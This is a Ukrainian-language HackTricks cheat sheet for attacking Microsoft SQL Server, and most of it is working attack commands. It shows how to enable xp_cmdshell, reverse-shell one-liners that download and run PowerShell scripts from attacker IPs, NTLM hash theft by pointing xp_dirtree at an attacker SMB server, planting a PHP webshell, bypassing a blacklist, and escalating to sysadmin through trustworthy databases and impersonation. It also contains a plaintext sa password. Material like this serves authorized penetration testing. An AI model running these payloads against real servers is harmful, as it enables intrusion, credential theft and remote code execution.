mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
564 lines
34 KiB
Markdown
564 lines
34 KiB
Markdown
# 1433 - Pentesting MSSQL - Microsoft SQL Server
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Основна інформація
|
||
|
||
З [вікіпедії](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||
|
||
> **Microsoft SQL Server** — це **система управління реляційними базами даних**, розроблена компанією Microsoft. Як сервер бази даних, це програмний продукт з основною функцією зберігання та отримання даних за запитом інших програмних додатків, які можуть працювати як на тому ж комп'ютері, так і на іншому комп'ютері через мережу (включаючи Інтернет).\\
|
||
|
||
**Порт за замовчуванням:** 1433
|
||
```
|
||
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
|
||
```
|
||
### **Типові системні таблиці MS-SQL**
|
||
|
||
* **master Database**: Ця база даних є критично важливою, оскільки вона захоплює всі системні деталі для екземпляра SQL Server.
|
||
* **msdb Database**: SQL Server Agent використовує цю базу даних для управління розкладом для сповіщень і завдань.
|
||
* **model Database**: Використовується як шаблон для кожної нової бази даних на екземплярі SQL Server, де будь-які зміни, такі як розмір, колекція, модель відновлення та інше, відображаються в новостворених базах даних.
|
||
* **Resource Database**: База даних тільки для читання, яка містить системні об'єкти, що постачаються з SQL Server. Ці об'єкти, хоча фізично зберігаються в базі даних Resource, логічно представлені в схемі sys кожної бази даних.
|
||
* **tempdb Database**: Використовується як тимчасова область зберігання для транзитних об'єктів або проміжних наборів результатів.
|
||
|
||
## Перерахування
|
||
|
||
### Автоматичне перерахування
|
||
|
||
Якщо ви нічого не знаєте про сервіс:
|
||
```bash
|
||
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
|
||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||
```
|
||
{% hint style="info" %}
|
||
Якщо у вас **немає облікових даних**, ви можете спробувати їх вгадати. Ви можете використовувати nmap або metasploit. Будьте обережні, ви можете **заблокувати облікові записи**, якщо кілька разів не вдасться увійти, використовуючи існуюче ім'я користувача.
|
||
{% endhint %}
|
||
|
||
#### Metasploit (потрібні облікові дані)
|
||
```bash
|
||
#Set USERNAME, RHOSTS and PASSWORD
|
||
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
|
||
|
||
#Steal NTLM
|
||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder
|
||
|
||
#Info gathering
|
||
msf> use admin/mssql/mssql_enum #Security checks
|
||
msf> use admin/mssql/mssql_enum_domain_accounts
|
||
msf> use admin/mssql/mssql_enum_sql_logins
|
||
msf> use auxiliary/admin/mssql/mssql_findandsampledata
|
||
msf> use auxiliary/scanner/mssql/mssql_hashdump
|
||
msf> use auxiliary/scanner/mssql/mssql_schemadump
|
||
|
||
#Search for insteresting data
|
||
msf> use auxiliary/admin/mssql/mssql_findandsampledata
|
||
msf> use auxiliary/admin/mssql/mssql_idf
|
||
|
||
#Privesc
|
||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
|
||
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin
|
||
|
||
#Code execution
|
||
msf> use admin/mssql/mssql_exec #Execute commands
|
||
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
|
||
|
||
#Add new admin user from meterpreter session
|
||
msf> use windows/manage/mssql_local_auth_bypass
|
||
```
|
||
### [**Брутфорс**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
|
||
|
||
### Ручна енумерація
|
||
|
||
#### Логін
|
||
```bash
|
||
# Using Impacket mssqlclient.py
|
||
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
|
||
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
|
||
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
|
||
|
||
# Using sqsh
|
||
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
|
||
## In case Windows Auth using "." as domain name for local user
|
||
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
|
||
## In sqsh you need to use GO after writting the query to send it
|
||
1> select 1;
|
||
2> go
|
||
```
|
||
#### Загальне перерахування
|
||
```sql
|
||
# Get version
|
||
select @@version;
|
||
# Get user
|
||
select user_name();
|
||
# Get databases
|
||
SELECT name FROM master.dbo.sysdatabases;
|
||
# Use database
|
||
USE master
|
||
|
||
#Get table names
|
||
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
|
||
#List Linked Servers
|
||
EXEC sp_linkedservers
|
||
SELECT * FROM sys.servers;
|
||
#List users
|
||
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
|
||
#Create user with sysadmin privs
|
||
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
|
||
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
|
||
|
||
#Enumerate links
|
||
enum_links
|
||
#Use a link
|
||
use_link [NAME]
|
||
```
|
||
#### Отримати користувача
|
||
|
||
{% content-ref url="types-of-mssql-users.md" %}
|
||
[types-of-mssql-users.md](types-of-mssql-users.md)
|
||
{% endcontent-ref %}
|
||
```sql
|
||
# Get all the users and roles
|
||
select * from sys.database_principals;
|
||
## This query filters a bit the results
|
||
select name,
|
||
create_date,
|
||
modify_date,
|
||
type_desc as type,
|
||
authentication_type_desc as authentication_type,
|
||
sid
|
||
from sys.database_principals
|
||
where type not in ('A', 'R')
|
||
order by name;
|
||
|
||
## Both of these select all the users of the current database (not the server).
|
||
## Interesting when you cannot acces the table sys.database_principals
|
||
EXEC sp_helpuser
|
||
SELECT * FROM sysusers
|
||
```
|
||
#### Отримати дозволи
|
||
|
||
1. **Securable:** Визначається як ресурси, які управляються SQL Server для контролю доступу. Вони класифікуються на:
|
||
* **Сервер** – Приклади включають бази даних, логіни, кінцеві точки, групи доступності та серверні ролі.
|
||
* **База даних** – Приклади охоплюють роль бази даних, ролі додатків, схеми, сертифікати, каталоги повнотекстового пошуку та користувачів.
|
||
* **Схема** – Включає таблиці, подання, процедури, функції, синоніми тощо.
|
||
2. **Дозвіл:** Пов'язаний з SQL Server securables, дозволи, такі як ALTER, CONTROL та CREATE, можуть бути надані принципалу. Управління дозволами відбувається на двох рівнях:
|
||
* **Рівень сервера** за допомогою логінів
|
||
* **Рівень бази даних** за допомогою користувачів
|
||
3. **Принципал:** Цей термін відноситься до сутності, якій надано дозвіл на доступ до securable. Принципали в основному включають логіни та користувачів бази даних. Контроль доступу до securables здійснюється шляхом надання або відмови в дозволах або шляхом включення логінів і користувачів у ролі, оснащені правами доступу.
|
||
```sql
|
||
# Show all different securables names
|
||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||
# Show all possible permissions in MSSQL
|
||
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
|
||
# Get all my permissions over securable type SERVER
|
||
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
|
||
# Get all my permissions over a database
|
||
USE <database>
|
||
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
|
||
# Get members of the role "sysadmin"
|
||
Use master
|
||
EXEC sp_helpsrvrolemember 'sysadmin';
|
||
# Get if the current user is sysadmin
|
||
SELECT IS_SRVROLEMEMBER('sysadmin');
|
||
# Get users that can run xp_cmdshell
|
||
Use master
|
||
EXEC sp_helprotect 'xp_cmdshell'
|
||
```
|
||
## Tricks
|
||
|
||
### Виконання команд ОС
|
||
|
||
{% hint style="danger" %}
|
||
Зверніть увагу, що для виконання команд необхідно не лише мати **`xp_cmdshell`** **увімкненим**, але й мати **дозвіл EXECUTE на збережену процедуру `xp_cmdshell`**. Ви можете дізнатися, хто (крім sysadmins) може використовувати **`xp_cmdshell`** за допомогою:
|
||
```sql
|
||
Use master
|
||
EXEC sp_helprotect 'xp_cmdshell'
|
||
```
|
||
{% endhint %}
|
||
```bash
|
||
# Username + Password + CMD command
|
||
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
|
||
# Username + Hash + PS command
|
||
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'
|
||
|
||
# Check if xp_cmdshell is enabled
|
||
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
|
||
|
||
# This turns on advanced options and is needed to configure xp_cmdshell
|
||
sp_configure 'show advanced options', '1'
|
||
RECONFIGURE
|
||
#This enables xp_cmdshell
|
||
sp_configure 'xp_cmdshell', '1'
|
||
RECONFIGURE
|
||
|
||
#One liner
|
||
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
|
||
|
||
# Quickly check what the service account is via xp_cmdshell
|
||
EXEC master..xp_cmdshell 'whoami'
|
||
# Get Rev shell
|
||
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
|
||
|
||
# Bypass blackisted "EXEC xp_cmdshell"
|
||
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
|
||
```
|
||
### Вкрасти NetNTLM хеш / Атака реле
|
||
|
||
Вам слід запустити **SMB сервер**, щоб захопити хеш, що використовується в аутентифікації (`impacket-smbserver` або `responder`, наприклад).
|
||
```bash
|
||
xp_dirtree '\\<attacker_IP>\any\thing'
|
||
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
||
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
|
||
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'
|
||
|
||
# Capture hash
|
||
sudo responder -I tun0
|
||
sudo impacket-smbserver share ./ -smb2support
|
||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
||
```
|
||
{% hint style="warning" %}
|
||
Ви можете перевірити, хто (окрім sysadmins) має дозволи на виконання цих функцій MSSQL за допомогою:
|
||
```sql
|
||
Use master;
|
||
EXEC sp_helprotect 'xp_dirtree';
|
||
EXEC sp_helprotect 'xp_subdirs';
|
||
EXEC sp_helprotect 'xp_fileexist';
|
||
```
|
||
{% endhint %}
|
||
|
||
Використовуючи інструменти, такі як **responder** або **Inveigh**, можливо **викрасти NetNTLM хеш**.\
|
||
Ви можете побачити, як використовувати ці інструменти в:
|
||
|
||
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
||
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Зловживання довіреними зв'язками MSSQL
|
||
|
||
[**Прочитайте цей пост**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **щоб знайти більше інформації про те, як зловживати цією функцією:**
|
||
|
||
{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %}
|
||
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||
{% endcontent-ref %}
|
||
|
||
### **Запис файлів**
|
||
|
||
Щоб записати файли за допомогою `MSSQL`, нам **необхідно увімкнути** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), що вимагає прав адміністратора, а потім виконати кілька збережених процедур для створення файлу:
|
||
```bash
|
||
# Enable Ole Automation Procedures
|
||
sp_configure 'show advanced options', 1
|
||
RECONFIGURE
|
||
|
||
sp_configure 'Ole Automation Procedures', 1
|
||
RECONFIGURE
|
||
|
||
# Create a File
|
||
DECLARE @OLE INT
|
||
DECLARE @FileID INT
|
||
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
|
||
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
|
||
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
|
||
EXECUTE sp_OADestroy @FileID
|
||
EXECUTE sp_OADestroy @OLE
|
||
```
|
||
### **Прочитати файл за допомогою** OPENROWSET
|
||
|
||
За замовчуванням, `MSSQL` дозволяє читати файли **з будь-якого файлу в операційній системі, до якого обліковий запис має доступ для читання**. Ми можемо використовувати наступний SQL запит:
|
||
```sql
|
||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||
```
|
||
Однак, опція **`BULK`** вимагає дозволу **`ADMINISTER BULK OPERATIONS`** або **`ADMINISTER DATABASE BULK OPERATIONS`**.
|
||
```sql
|
||
# Check if you have it
|
||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||
```
|
||
#### Вектор на основі помилок для SQLi:
|
||
```
|
||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||
```
|
||
### **RCE/Читання файлів виконуючи скрипти (Python та R)**
|
||
|
||
MSSQL може дозволити вам виконувати **скрипти на Python та/або R**. Цей код буде виконуватись **іншим користувачем**, ніж той, хто використовує **xp\_cmdshell** для виконання команд.
|
||
|
||
Приклад спроби виконати **'R'** _"Hellow World!"_ **не працює**:
|
||
|
||
![](<../../.gitbook/assets/image (393).png>)
|
||
|
||
Приклад використання налаштованого python для виконання кількох дій:
|
||
```sql
|
||
# Print the user being used (and execute commands)
|
||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
|
||
#Open and read a file
|
||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
|
||
#Multiline
|
||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
|
||
import sys
|
||
print(sys.version)
|
||
'
|
||
GO
|
||
```
|
||
### Читання реєстру
|
||
|
||
Microsoft SQL Server надає **багато розширених збережених процедур**, які дозволяють вам взаємодіяти не лише з мережею, але й з файловою системою та навіть з [**реєстром Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||
|
||
| **Звичайні** | **Обізнані про екземпляр** |
|
||
| ---------------------------- | -------------------------------------- |
|
||
| sys.xp\_regread | sys.xp\_instance\_regread |
|
||
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
|
||
| sys.xp\_regenumkeys | sys.xp\_instance\_regenumkeys |
|
||
| sys.xp\_regwrite | sys.xp\_instance\_regwrite |
|
||
| sys.xp\_regdeletevalue | sys.xp\_instance\_regdeletevalue |
|
||
| sys.xp\_regdeletekey | sys.xp\_instance\_regdeletekey |
|
||
| sys.xp\_regaddmultistring | sys.xp\_instance\_regaddmultistring |
|
||
| sys.xp\_regremovemultistring | sys.xp\_instance\_regremovemultistring |
|
||
```sql
|
||
# Example read registry
|
||
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
|
||
# Example write and then read registry
|
||
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
|
||
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
|
||
# Example to check who can use these functions
|
||
Use master;
|
||
EXEC sp_helprotect 'xp_regread';
|
||
EXEC sp_helprotect 'xp_regwrite';
|
||
```
|
||
Для **більше прикладів** перегляньте [**оригінальне джерело**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
|
||
|
||
### RCE з MSSQL Користувацькою Функцією - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||
|
||
Можливо **завантажити .NET dll в MSSQL з користувацькими функціями**. Це, однак, **вимагає доступу `dbo`**, тому вам потрібне з'єднання з базою даних **як `sa` або з роллю адміністратора**.
|
||
|
||
[**Перейдіть за цим посиланням**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp), щоб побачити приклад.
|
||
|
||
### Інші способи для RCE
|
||
|
||
Існують інші методи для отримання виконання команд, такі як додавання [розширених збережених процедур](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR збірок](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [завдань агента SQL Server](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) та [зовнішніх скриптів](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||
|
||
## Підвищення Привілеїв MSSQL
|
||
|
||
### Від db\_owner до sysadmin
|
||
|
||
Якщо **звичайному користувачу** надається роль **`db_owner`** над **базою даних, що належить адміністратору** (такому як **`sa`**) і ця база даних налаштована як **`trustworthy`**, цей користувач може зловживати цими привілеями для **privesc**, оскільки **збережені процедури**, створені там, можуть **виконуватися** як власник (**адміністратор**).
|
||
```sql
|
||
# Get owners of databases
|
||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||
|
||
# Find trustworthy databases
|
||
SELECT a.name,b.is_trustworthy_on
|
||
FROM master..sysdatabases as a
|
||
INNER JOIN sys.databases as b
|
||
ON a.name=b.name;
|
||
|
||
# Get roles over the selected database (look for your username as db_owner)
|
||
USE <trustworthy_db>
|
||
SELECT rp.name as database_role, mp.name as database_user
|
||
from sys.database_role_members drm
|
||
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
|
||
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
|
||
|
||
# If you found you are db_owner of a trustworthy database, you can privesc:
|
||
--1. Create a stored procedure to add your user to sysadmin role
|
||
USE <trustworthy_db>
|
||
|
||
CREATE PROCEDURE sp_elevate_me
|
||
WITH EXECUTE AS OWNER
|
||
AS
|
||
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
|
||
|
||
--2. Execute stored procedure to get sysadmin role
|
||
USE <trustworthy_db>
|
||
EXEC sp_elevate_me
|
||
|
||
--3. Verify your user is a sysadmin
|
||
SELECT is_srvrolemember('sysadmin')
|
||
```
|
||
Ви можете використовувати модуль **metasploit**:
|
||
```bash
|
||
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
||
```
|
||
Або **PS** скрипт:
|
||
```powershell
|
||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
|
||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
||
```
|
||
### Імітація інших користувачів
|
||
|
||
SQL Server має спеціальний дозвіл, названий **`IMPERSONATE`**, який **дозволяє виконуючому користувачу приймати на себе дозволи іншого користувача** або входу, поки контекст не буде скинуто або сесія не закінчиться.
|
||
```sql
|
||
# Find users you can impersonate
|
||
SELECT distinct b.name
|
||
FROM sys.server_permissions a
|
||
INNER JOIN sys.server_principals b
|
||
ON a.grantor_principal_id = b.principal_id
|
||
WHERE a.permission_name = 'IMPERSONATE'
|
||
# Check if the user "sa" or any other high privileged user is mentioned
|
||
|
||
# Impersonate sa user
|
||
EXECUTE AS LOGIN = 'sa'
|
||
SELECT SYSTEM_USER
|
||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||
|
||
# If you can't find any users, make sure to check for links
|
||
enum_links
|
||
# If there is a link of interest, re-run the above steps on each link
|
||
use_link [NAME]
|
||
```
|
||
{% hint style="info" %}
|
||
Якщо ви можете видати себе за користувача, навіть якщо він не є sysadmin, вам слід перевірити, **чи має користувач доступ** до інших **баз даних** або зв'язаних серверів.
|
||
{% endhint %}
|
||
|
||
Зверніть увагу, що як тільки ви станете sysadmin, ви зможете видати себе за будь-якого іншого:
|
||
```sql
|
||
-- Impersonate RegUser
|
||
EXECUTE AS LOGIN = 'RegUser'
|
||
-- Verify you are now running as the the MyUser4 login
|
||
SELECT SYSTEM_USER
|
||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||
-- Change back to sa
|
||
REVERT
|
||
```
|
||
Ви можете виконати цю атаку за допомогою модуля **metasploit**:
|
||
```bash
|
||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||
```
|
||
або з допомогою **PS** скрипта:
|
||
```powershell
|
||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
|
||
```
|
||
## Використання MSSQL для постійності
|
||
|
||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||
|
||
## Витягування паролів з SQL Server Linked Servers
|
||
|
||
Зловмисник може витягнути паролі SQL Server Linked Servers з SQL Instances і отримати їх у відкритому вигляді, надаючи зловмиснику паролі, які можна використовувати для отримання більшого контролю над ціллю. Скрипт для витягування та дешифрування паролів, збережених для Linked Servers, можна знайти [тут](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)
|
||
|
||
Необхідно виконати деякі вимоги та налаштування, щоб цей експлойт працював. По-перше, ви повинні мати права адміністратора на машині або можливість керувати конфігураціями SQL Server.
|
||
|
||
Після перевірки ваших прав вам потрібно налаштувати три речі, а саме:
|
||
|
||
1. Увімкніть TCP/IP на екземплярах SQL Server;
|
||
2. Додайте параметр запуску, в даному випадку буде додано прапор трасування -T7806.
|
||
3. Увімкніть віддалене адміністрування.
|
||
|
||
Щоб автоматизувати ці налаштування, [цей репозиторій](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) має необхідні скрипти. Окрім наявності скрипта PowerShell для кожного етапу налаштування, репозиторій також має повний скрипт, який об'єднує скрипти конфігурації та витягування і дешифрування паролів.
|
||
|
||
Для отримання додаткової інформації зверніться до наступних посилань щодо цієї атаки: [Дешифрування паролів MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||
|
||
[Усунення неполадок з підключенням адміністратора SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||
|
||
## Локальне підвищення привілеїв
|
||
|
||
Користувач, що запускає MSSQL сервер, матиме увімкнений привілейований токен **SeImpersonatePrivilege.**\
|
||
Ви, напевно, зможете **підвищити привілеї до адміністратора**, слідуючи одному з цих 2-х посилань:
|
||
|
||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
|
||
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %}
|
||
[juicypotato.md](../../windows-hardening/windows-local-privilege-escalation/juicypotato.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Shodan
|
||
|
||
* `port:1433 !HTTP`
|
||
|
||
## Посилання
|
||
|
||
* [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
|
||
* [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
||
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||
|
||
## HackTricks Автоматичні команди
|
||
```
|
||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||
Port_Number: 1433 #Comma separated if there is more than one.
|
||
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for MSSQL
|
||
Note: |
|
||
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
|
||
|
||
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
|
||
|
||
###the goal is to get xp_cmdshell working###
|
||
1. try and see if it works
|
||
xp_cmdshell `whoami`
|
||
go
|
||
|
||
2. try to turn component back on
|
||
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
|
||
reconfigure
|
||
go
|
||
xp_cmdshell `whoami`
|
||
go
|
||
|
||
3. 'advanced' turn it back on
|
||
EXEC SP_CONFIGURE 'show advanced options', 1
|
||
reconfigure
|
||
go
|
||
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
|
||
reconfigure
|
||
go
|
||
xp_cmdshell 'whoami'
|
||
go
|
||
|
||
|
||
|
||
|
||
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
|
||
|
||
|
||
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
|
||
|
||
Entry_2:
|
||
Name: Nmap for SQL
|
||
Description: Nmap with SQL Scripts
|
||
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
|
||
|
||
Entry_3:
|
||
Name: MSSQL consolesless mfs enumeration
|
||
Description: MSSQL enumeration without the need to run msfconsole
|
||
Note: sourced from https://github.com/carlospolop/legion
|
||
